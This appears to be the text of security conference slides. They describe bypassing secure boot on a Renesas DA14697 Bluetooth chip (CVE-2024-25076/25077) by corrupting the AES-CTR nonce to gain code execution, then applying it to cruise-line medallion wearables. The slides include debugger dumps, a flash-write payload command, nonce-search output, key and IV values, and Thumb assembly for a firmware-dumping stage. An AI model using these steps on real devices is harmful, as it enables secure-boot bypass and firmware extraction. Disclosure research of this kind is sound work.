2003FFA0 = 33333131 33333131 33333131 33333131
2003FFB0 = 33333131 33333131 33333131 33333131
2003FFC0 = 33333131 33333131 33333131 33333131
2003FFD0 = 33333131 33333131 33333131 84C00000
2003FFE0 = AA002000 A8A5CCBB 00000066 2004000B
2003FFF0 = 24070001 24242424 BF00BF00 BF00BF00
20040000 = BF00BF00 BF00BF00 E7FEBF00 A0F10400
20040010 = 33338047 33333131 33333131 33333131
```

Payload Return

```
J-Link>setbp 0x1140 <--- function exit
Breakpoint set @ addr 0x00001140 (Handle = 1)
```

```
PC = 00001140, CycleCnt = 02ACD568
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 2003FFE8
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFE8, MSP= 2003FFE8, PSP= 00000000, R14(LR) = 0000113B
J-Link>mem32 2003FFE8,0x20
2003FFE8 = 00000066 2004000B 24070001 24242424
2003FFF8 = BF00BF00 BF00BF00 BF00BF00 BF00BF00
20040008 = E7FEBF00 A0F10400 33338047 33333131
20040018 = 33333131 33333131 33333131 33333131
20040028 = 33333131 33333131 33333131 33333131
20040038 = 33333131 33333131 33333131 33333131
20040048 = 33333131 33333131 33333131 33333131
20040058 = 33333131 33333131 33333131 33333131
J-Link>s
00001140:   80 BD              POP       {R7,PC}
```

```
J-Link>regs
PC = 2004000A, CycleCnt = 02ACD570
R0 = 00000031, R1 = 00000002, R2 = 00000010, R3 = 38000000
R4 = 00000000, R5 = 00000000, R6 = 00000000, R7 = 00000066
R8 = 9220C050, R9 = D08C106E, R10= 20030000, R11= 00000000
R12= ABA08801
SP(R13)= 2003FFF0, MSP= 2003FFF0, PSP= 00000000, R14(LR) =
J-Link>s
2004000A:   FE E7              B         #-0x04
J-Link>s
2004000A:   FE E7              B         #-0x04
```

CVE-2024-25076

```
  QSPI_Read_Product_Headers((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);
}
while ( BYTE1(configuration_script) != 1 );
WDOG_feed_ff();
if ( check_current_fw_addr_and_update_addr(product_img_offse
{
  if ( !SECUREBOOT_check_and_validate(
          product_img_offsets[1],
          (FW_ImageHeader *)&dword_2003C950,
          (int)product_img_offsets,
          (struct_configuration_script_ptr *)&configuration_script) )// / returns 1 if secure boot is not enabled
  {
    QSPI_process_product_update((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);// re
    WDOG_Pet_1c34();
  }
}                                                   // no update path
                                                    // this returns 0 from [8] offset check
                                                    //   if ( !(*qspi_data_value_ptr)[8] )
                                                    //     return 0;
else if ( !SECUREBOOT_check_and_validate(
             product_img_offsets[0],
             (FW_ImageHeader *)&dword_2003C950,
             (int)product_img_offsets,
             (struct_configuration_script_ptr *)&configuration_script) )// returns 1 if secure boot is not enabled
{
  WDOG_Pet_1c34();                                  // we hit this
}
SECUREBOOT_CHECK_key_revocation(dword_2003C950);
sub_A6E((struct_configuration_script_ptr *)&configuration_script, product_img_offsets);
WDOG_feed_ff();
if ( !SECUREBOOT_CHECK_setup_QSPIC_CTR_195C(
        (struct_configuration_script_ptr *)&configuration_script,
        product_img_offsets) )
  WDOG_Pet_1c34();
OTPC_standby();
Cache_setup_qspi_cache(dword_2003C950, product_img_offsets);
write_to_sysram(dword_2003C950, product_img_offsets);
return RESET_to_REMAP_ADR_val(2u);                  // SW Reset to QSPI Flash
}
```

ENCRYPTION

Key Indexes

- Index into OTP for encryption engine

Nonce

- User defined Nonce
- Avoid IV reuse

AES-CTR mode enables fast/arbitrary block decryption
AES-CTR provides no auth (malleable)

“A CORRUPTED NONCE COULD NOT BE USED TO EXECUTE ARBITRARY CODE, RIGHT? “

ME, PROBABLY

THIS WILL NEVER WORK

First blocks of the encrypted image:

[Stack Pointer] [Reset Vector]

```
00000000  a4 69 b0 85 8e ba 5b b1-fb d1 03 c1 d7 c9 0f 67
```

Key: FAA30A7DCC58C862576C486BC858DBDCDE88B6DDE0612E8C3D292A30D6447B02

IV: 59CD394A2E99EE4B00000000000000000

AES-CTR

```
00000000  60 82 00 20 01 02 00 00-d9 03 00 20 f1 03 00 20
```

Where could the Reset Vector point to?

QSPI Flash mappings are quite large...

```
QSPI FLASH (Code)   0x16000000 0x16800000
QSPI FLASH (System) 0x36000000 0x36800000
```

BACK OF THE NAPKIN HACKING

Quick test script

- **Decrypt a known initial block using a known Nonce/Key**
- **Iterate over Nonce changes**
- **Return results that land in our required ranges**

```
Key                 - FAA30A7DCC58C862576C486BC858DBDCDE88B6DDE0612E8C3D292A30D6447B02
IV(Nonce+Counter)   - 01020304050607080000000000000000
Encrypted Value     - 5D10BBDA05498A9200878AE0A92E56DF
```

BACK OF THE NAPKIN HACKING

```
└[$]> python nonce_hunt\ copy.py FAA30A7DCC58C862576C486BC858DBDCDE88B6DDE0
Searching by byte
potential iv 01920304050607080000000000000000 - SP dd7ea2fd Reset 362cf679
potential iv 01020304050c07080000000000000000 - SP dbdbbef4 Reset 36706836
searching by 4byte blocks
potential iv 01920304050607080000000000000000 - SP dd7ea2fd Reset 362cf679
potential iv 02820304050607080000000000000000 - SP 69b0b6c7 Reset 3634e178
potential iv 050a0304050607080000000000000000 - SP c20a37db Reset 161b2fee
potential iv 05720304050607080000000000000000 - SP fe4dc684 Reset 160d9b52
potential iv 06480304050607080000000000000000 - SP 01eb79c4 Reset 367e69ee
potential iv 06820304050607080000000000000000 - SP 8d43ae5b Reset 1602df1d
potential iv 06ea0304050607080000000000000000 - SP 3fdf567f Reset 164b236f
potential iv 08150304050607080000000000000000 - SP 9093b11d Reset 16545aaf
potential iv 08440304050607080000000000000000 - SP 1f25dbbf Reset 160aaea2
potential iv 098a0304050607080000000000000000 - SP 8657becd Reset 3627840e
```

IV = Nonce + Block Counter

BACK OF THE NAPKIN HACKING

Modified Nonce

```
01920304050607080000000000000000 - SP dd7ea2fd Reset 362cf679
```

Break Payload

```
cli_programmer.exe COM6 write_qspi_bytes 0x2cf679 0xbe 0xff
```

Reset/Halt

Read @ 0x0

```
J-Link>r
Reset delay: 0 ms
Reset type NORMAL: Resets core & peripherals via SYSRESETREQ & VECTRESET bit.
Reset: Halt core after reset via DEMCR.VC_CORERESET.
Reset: Reset device via AIRCR.SYSRESETREQ.
J-Link>mem32 0,2
00000000 = DD7EA2FD 362CF679  <----- our reset value
```

Break

```
J-Link>s
362CF678:    FF BE                BKPT      #255
```

🫠 **T-bit of XPSR is 0 but should be 1. Changed to 1**

STILL NOT CONVINCED

Sig Check is here

We are here

STILL NOT CONVINCED

Too complex to apply to a locked down target with zero knowledge?

How to detect code exec?

- <u>easy!</u>
  - fill entire unused flash space with NOPs
  - monitor SPI address access

Image Headers

Original Signed Image

Unused Flash Area

THIS WILL BE EASY

Nothing is easy.

- USON/WLCSP
- QSPI Decoder
  - NGSCOPE?!
- Antenna wires

KEEP IT SIMPLE

Original Nonce SPI Serial-In

Modified Nonce SPI Serial-In

FAST FWD

Update FW Image with Mutated Nonce → Write FW to Target SPI → Start Timed Capture → Power On Target → Write Capture to File → Power Off Target

One of many captures was a standout

Reconfirmed it wasn’t an anomaly

Boot

Boot

Iterate over where its being stored in flash to determine where it actually is (0xa7f0-0x200000)

- Make NOP payload smaller until it stopped
- Backup until it works again

🎉 0x1d4744 - 0x1d4747

NOW WHAT

How to get the encrypted firmware?

Header Config specifies BURSTCMDA/B Registers

- these control how the SoC talks to the SPI flash
- reconfigure to use single mode (0x03)

Modified FW

PROGRESS

Slowing down the target to Single SPI allows capture, showing the SoC accessing the payload at 0x1d4744

CMD	ADDRESS	DATA
NORMAL READ(0X03)	1D 47 44	00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF
NORMAL READ(0X03)	1D 47 60	00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF 00 BF

ABSOLUTELY NOT BUSSIN

SPI "Auto" Mode

- **Execute-in-Place (XiP)**
- **On-the-fly Decryption (start/end address configuration)**
- **Read Only**

SPI "Manual" Mode

- **Read/Write**
- **No On-the-fly Decryption**

- Auto Mode: up-to 32 Mbyte transparent Code access for XIP (Execute-In-Place) and Data access with 3-byte and 4-byte addressing modes
- Manual Mode: Direct register access using the QSPIC register file

- Decrypt on-the-fly (AES-256b-CTR) capability while in auto mode operation

THE OWL

```
C2 F2 03 02    movt  r2, #0x2003
10 46          mov   r0, r2
4F F0 4F 01    mov.w r1, #0x4f
00 F8 01 1B    strb  r1, [r0], #1
4F F0 F0 01    mov.w r1, #0xf0
00 F8 01 1B    strb  r1, [r0], #1
4F F0 60 01    mov.w r1, #0x60
00 F8 01 1B    strb  r1, [r0], #1
4F F0 50 01    mov.w r1, #0x50
00 F8 01 1B    strb  r1, [r0], #1
4F F0 00 01    mov.w r1, #0
00 F8 01 1B    strb  r1, [r0], #1
4F F0 F1 01    mov.w r1, #0xf1
00 F8 01 1B    strb  r1, [r0], #1
4F F0 8C 01    mov.w r1, #0x8c
00 F8 01 1B    strb  r1, [r0], #1
4F F0 00 01    mov.w r1, #0
00 F8 01 1B    strb  r1, [r0], #1
4F F0 42 01    mov.w r1, #0x42
00 F8 01 1B    strb  r1, [r0], #1
4F F0 F2 01    mov.w r1, #0xf2
00 F8 01 1B    strb  r1, [r0], #1
4F F0 0D 01    mov.w r1, #0xd
00 F8 01 1B    strb  r1, [r0], #1
4F F0 61 01    mov.w r1, #0x61
00 F8 01 1B    strb  r1, [r0], #1
4F F0 CF 01    mov.w r1, #0xcf
00 F8 01 1B    strb  r1, [r0], #1
4F F0 F2 01    mov.w r1, #0xf2
00 F8 01 1B    strb  r1, [r0], #1
4F F0 02 01    mov.w r1, #2
00 F8 01 1B    strb  r1, [r0], #1
```

THE OWL

```
0x99 (reset)
0x03 @ 0x00002074 (read)
0x03 @ 0x0000000a (read)
0x03 @ 0x0000000e (read)
0x03 @ 0x00000012 (read)
0x03 @ 0x00000014 (read)
0x03 @ 0x00000016 (read)
0x06 (write enable)
0x01 (write status register)
0x05 (read status register)
0x03 @ 0x00002400 (read)
0x03 @ 0x00002404 (read)
...
...
0x03 @ 0x000025f8 (read)
0x03 @ 0x000025fc (read)
0x03 @ 0x00fd4744 (read) <---- TRANSITION TO STAGE 1
0x03 @ 0x00fd4760 (read)
0x03 @ 0x00fd4780 (read)
...
...
0x03 @ 0x00fd4f60 (read)
0x03 @ 0x00fd4f80 (read)
0x11 @ 0x00004[redacted] (EM100 specific) <---- STAGE 2 DUMPING DECRYPTED APP
0x11 @ 0x00006[redacted] (EM100 specific)
0x11 @ 0x00000[redacted] (EM100 specific)
0x11 @ 0x00008[redacted] (EM100 specific)
```

Type Device Administration Section (2 Bytes) 0xAA44

Length of Device Administration Section (2 Bytes)

Type Key revocation record (2 bytes) 0xAA55

Length of Key revocation record (2 Bytes)

CVE-2024-25077

Key Index (1 Byte)

KeyType (0xA1 = Sign key, 0xA2 = Decr. Key, 0xA3 = User Data Key

Key Index (1 Byte)

SIGNED

IVT

Executable

EN ED

NOW WHAT?

Real things that use this chip?

Princess Cruise Lines!

Princess Cruise Lines Transforms Guest Experiences with Renesas' WiRa Technology

Videos

in passenger service delivery.

The Solution: WiRa-Enabled MedallionClass Experience

Princess Cruise Lines chose Renesas' DA14697 Bluetooth® LE SoC with WiRa™ technology to power its OceanMedallion™ wearable devices, the core of the MedallionClass® experience. WiRa technology uses fine-grain, phase-based ranging to deliver superior accuracy and resilience in challenging environments, where multi-path reflections and signal attenuation (from blocking objects, such as other passengers) can affect wireless performance.

Princess Cruise Line RARE pair Captain's Elite Level Medallions/Box SKY Princess

Pre-Owned

$28.00
Buy It Now
+$4.65 shipping
Free returns

Top Rated Plus
mark4sue (2,534) 100%

SERIOUSLY?

No security implemented

```
Raw  Hex
0006cd10  95 ac 06 00 a7 ac 06 00-b8 ac 06 00 c9 ac 06 00  ................
0006cd20  e2 ac 06 00 3b a8 06 00-00 3f 30 33 35 36 41 42  ....;....?0356AB
0006cd30  45 46 47 48 4a 4b 2b 4d-52 53 54 59 56 24 26 4f  EFGHJK+MRSTYV$&O
0006cd40  50 57 58 00 0d 0a 45 6e-74 65 72 20 25 73 20 28  PWX...Enter %s (
0006cd50  3c 45 53 43 3e 20 74 6f-20 63 61 6e 63 65 6c 29  <ESC> to cancel)
0006cd60  3a 20 30 78 00 0d 0a 45-6e 74 65 72 20 25 73 20  : 0x...Enter %s
0006cd70  28 3c 45 53 43 3e 20 74-6f 20 63 61 6e 63 65 6c  (<ESC> to cancel
0006cd80  29 3a 20 00 25 63 00 25-63 20 3d 20 25 73 0d 0a  ): .%c.%c = %s..
0006cd90  00 68 65 6c 70 20 28 73-68 6f 77 20 74 68 69 73  .help (show this
0006cda0  20 6c 69 73 74 29 00 73-65 74 20 53 48 45 4c 46   list).set SHELF
0006cdb0  20 6d 6f 64 65 0d 0a 20-20 20 20 74 75 72 6e 73   mode..    turns
0006cdc0  20 6f 66 66 20 75 6e 74-69 6c 20 73 63 61 6e 6e   off until scann
0006cdd0  65 64 20 62 79 20 4e 46-43 2c 20 63 6f 6e 6e 65  ed by NFC, conne
0006cde0  63 74 61 62 6c 65 20 66-6f 72 20 31 20 6d 69 6e  ctable for 1 min
0006cdf0  75 74 65 00 73 65 74 20-46 41 43 54 4f 52 59 20  ute.set FACTORY
0006ce00  6d 6f 64 65 0d 0a 20 20-20 20 4e 79 74 65 63 20  mode..    Nytec
0006ce10  62 65 61 63 6f 6e 2c 20-66 72 65 71 75 65 6e 74  beacon, frequent
0006ce20  2c 20 68 69 67 68 20 70-6f 77 65 72 00 73 65 74  , high power.set
0006ce30  20 55 4e 44 45 52 57 41-59 20 6d 6f 64 65 0d 0a   UNDERWAY mode..
0006ce40  20 20 20 20 69 42 65 61-63 6f 6e 2c 20 66 72 65      iBeacon, fre
0006ce50  71 75 65 6e 74 2c 20 68-69 67 68 20 70 6f 77 65  quent, high powe
0006ce60  72 2c 20 72 65 64 75 63-65 64 20 73 65 72 76 69  r, reduced servi
0006ce70  63 65 73 20 6f 76 65 72-20 42 4c 45 00 73 65 74  ces over BLE.set
0006ce80  20 54 52 41 4e 53 49 54-20 6d 6f 64 65 0d 0a 20   TRANSIT mode..
0006ce90  20 20 20 20 20 4f 62 73-65 72 76 65 72 2c 20 6c      Observer, l
0006cea0  6f 77 20 70 6f 77 65 72-2c 20 72 65 64 75 63 65  ow power, reduce
0006ceb0  64 20 73 65 72 76 69 63-65 73 20 6f 76 65 72 20  d services over
0006cec0  42 4c 45 00 67 65 74 20-63 6f 6e 66 69 67 75 72  BLE.get configur
0006ced0  61 74 69 6f 6e 00 73 65-74 20 73 65 71 75 65 6e  ation.set sequen
0006cee0  63 65 20 5b 6d 61 6a 6f-72 2d 6d 69 6e 6f 72 5d  ce [major-minor]
0006cef0  20 6e 75 6d 62 65 72 2c-0d 0a 20 20 20 20 69 6e   number,..    in
0006cf00  70 75 74 20 6d 75 73 74-20 62 65 20 69 6e 20 6c  put must be in l
0006cf10  69 74 74 6c 65 2d 65 6e-64 69 61 6e 20 6f 72 64  ittle-endian ord
0006cf20  65 72 00 73 65 74 20 6d-65 64 61 6c 6c 69 6f 6e  er.set medallion
0006cf30  20 74 79 70 65 20 74 6f-20 47 55 45 53 54 00 73   type to GUEST.s
0006cf40  65 74 20 6d 65 64 61 6c-6c 69 6f 6e 20 74 79 70  et medallion typ
0006cf50  65 20 74 6f 20 43 52 45-57 00 73 65 74 20 6d 65  e to CREW.set me
```

```
0006c980  00 00 00 00 00 00 80 3f-00 00 00 40 47 75 65 73  .......?...@Gues
0006c990  74 00 43 72 65 77 00 53-74 61 74 69 63 00 4d 65  t.Crew.Static.Me
0006c9a0  64 61 6c 6c 69 6f 6e 00-25 73 5f 25 30 32 58 25  dallion.%s_%02X%
0006c9b0  30 32 58 25 30 32 58 25-30 32 58 00 61 64 76 5f  02X%02X%02X.adv_
0006c9c0  74 69 6d 65 72 00 4a 1a-7a 2a fd 0e 2b a0 99 4b  timer.J.z*..+..K
0006c9d0  66 a4 00 04 bb a1 41 75-74 68 65 6e 74 69 63 61  f.....Authentica
0006c9e0  74 65 00 43 65 72 74 69-66 69 63 61 74 65 00 44  te.Certificate.D
```

END TRANSMISSION.

Computers are the worst.